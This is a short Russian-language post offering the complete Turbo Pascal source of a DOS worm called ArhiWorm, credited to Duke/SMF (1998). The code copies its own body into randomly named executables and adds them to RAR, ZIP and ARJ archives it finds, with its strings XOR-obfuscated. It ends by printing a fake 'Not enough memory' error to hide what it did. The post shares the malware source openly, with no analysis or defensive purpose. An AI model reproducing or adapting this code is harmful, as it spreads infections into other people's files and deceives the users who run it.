может кому интересно будет
вирус заражает архивы
{$M 5000, 0, 5000} {$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+} program ArhiWorm; uses dos; const len=6010; {длина вируса} var arh:string; {расширение архива} c :string; {строка под GetEnv('COMSPEC')} m :string; {строка под параметры} vir:file; {запущенный файл} mas:array[1..len] of char; {массив, содержащий тело вируса} {---------------------------------------------------------------------------} function Xorer(st:string):string; {расшифровщик текстовых строк} var i:integer; m:byte; z:string; begin z:=''; for i:=1 to length(st) do z:=z+chr(ord(st[i]) xor i); Xorer:=z; end; {---------------------------------------------------------------------------} procedure zar(name:string); (* Заражение архивов *) var st:string; {имя создаваемого файла-вируса} par:string; {параметры запуска Command.COM} n:integer; {промежуточный счетчик} f,g:file; {червь и архив} at:word; {атрибуты файла} ch:char; w:string; {'>nul'} const p=' '; begin w:=Xorer('?lvh'); {'>nul'} (* Случайным образом создаем имя файла-вируса: *) st:=''; for n:=1 to (random(8)+1) do st:=st+chr(random(26)+97); n:=random(4); if (n=0) or (n=3) then st:=st+Xorer('/g{a') {.exe} else st:=st+Xorer('/ali');{.com} (* Создаем файл-вирус случайной длины: *) assign(f,st);rewrite(f,1); blockwrite(f,mas,len); {? 1} for n:=1 to random(500) do begin ch:=chr(random(256));blockwrite(f,ch,1);end; close(f); (* Записываем (добавляем) его в архив: *) assign(g,name); getfattr(g,at); setfattr(g,$20); par:='/c'+p; if arh=Xorer('scq') {rar} then par:=par+Xorer('scq$d&*|b*&u-#l=1?|?')+p+name+p+st+w; {rar a -tk -y -c- -o+} if arh=Xorer('{ks') {zip} then par:=par+Xorer('qiymu&*i')+p+name+p+st+w; {pkzip -a} if arh=Xorer('`pi') {arj} then par:=par+Xorer('`pi$d')+p+name+p+st+w; {arj a} exec(c,par); setfattr(g,at); erase(f); {удаляем вирус} end; {---------------------------------------------------------------------------} procedure find; (* Поиск архивов и вызов заражения *) var s:searchrec; t:string; const z='*.'; begin findfirst(z+arh,$21,s); if doserror<>0 then exit else begin t:=s.name;zar(s.name) end; while doserror=0 do begin findnext(s); if t=s.name then exit else begin t:=s.name;zar(s.name) end end end; {---------------------------------------------------------------------------} begin Randomize; (* Проверка скрытых параметров: *) if (paramcount=1) and (paramstr(1)='!') then begin В этом месте в программе находится строка, не воспроизводимая броузером {HLLW.ArhiWorm v1.0 © by Duke/SMF 22.09.98} halt; end; (* Читаем тело вируса : *) assign(vir,paramstr(0));reset(vir,len); blockread(vir,mas,1);close(vir); (* Поиск и заражение: *) c:=GetEnv(Xorer('BMNWUCD'));{COMSPEC} arh:=Xorer('scq');{rar}find; arh:=Xorer('{ks');{zip}find; arh:=Xorer('`pi');{arj}find; (* Выход с сообщением об ошибке: *) writeln(Xorer('Omw$`hh}nb+ahc`bh'));{Not enough memory} end.
использован материал с WHB